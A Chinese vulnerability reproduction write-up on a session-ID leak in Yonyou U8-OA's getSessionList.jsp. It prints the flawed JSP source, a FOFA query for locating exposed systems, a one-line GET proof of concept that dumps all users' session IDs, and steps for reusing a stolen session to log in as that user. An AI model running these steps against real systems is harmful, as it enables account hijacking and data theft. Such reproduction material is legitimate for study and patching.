文章目录
- 用友U8-OA getSessionList.jsp信息泄露 复现
- 0x01 前言
- 0x02 漏洞描述
- 0x03 影响平台
- 0x04 漏洞环境
- 0x05 漏洞复现
- 1.访问漏洞环境
- 2.构造POC
- 3.复现
- 4.漏洞进一步利用
用友U8-OA getSessionList.jsp信息泄露 复现
0x01 前言
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!
0x02 漏洞描述
用友U8-OA该系统提供了全面的办公管理功能,包括文档管理、流程管理、协同办公、人力资源管理等。用友U8 OA的用户界面简洁直观,易于使用,能够帮助企业实现高效的工作流程和信息共享。
用友U8-OA和致远A6系统getSessionList.jsp文件都存在漏洞,攻击者可利用漏洞获取到所有用户的SessionID,利用泄露的SessionID即可登录该用户并获取shell。
getSessionList.jsp存在缺陷(漏洞成因)
<%@ page contentType="text/html;charset=GBK"%>
<%@ page session= "false" %>
<%@ page import="net.btdz.oa.ext.https.*"%>
<%String reqType = request.getParameter("cmd");String outXML = "";boolean allowHttps = true;if("allowHttps".equalsIgnoreCase(reqType)){//add code to judge whether it allow https or notallowHttps = FetchSessionList.checkHttps();if (allowHttps) response.setHeader("AllowHttps","1");}if("getAll".equalsIgnoreCase(reqType)){outXML = FetchSessionList.getXMLAll();}else if("getSingle".equalsIgnoreCase(reqType)){String sessionId = request.getParameter("ssid");if(sessionId != null){outXML = FetchSessionList.getXMLBySessionId(sessionId);}}else{outXML += "<?xml version=\"1.0\" encoding=\"GB2312\"?>\r\n";outXML += "<SessionList>\r\n";
//outXML += "<Session>\r\n";
//outXML += "</Session>\r\n";outXML += "</SessionList>\r\n";}out.println(outXML);
%>
该文件没有权限验证,当cmd参数为getAll时,便可获取到所有用户的SessionID。
0x03 影响平台
用友 U8 OA
0x04 漏洞环境
FOFA语法:title=“用友U8-OA”
0x05 漏洞复现
1.访问漏洞环境
2.构造POC
POC (GET)
/yyoa/ext/https/getSessionList.jsp?cmd=getAll
3.复现
访问漏洞检测POC中的漏洞接口,发现泄露了sessionid以及用户名!!!
4.漏洞进一步利用
获取SESSION之后访问:/yyoa/common/js/menu/menu.jsp,替换sessionid
访问yyoa/portal/portalIndex.jsp进入首页。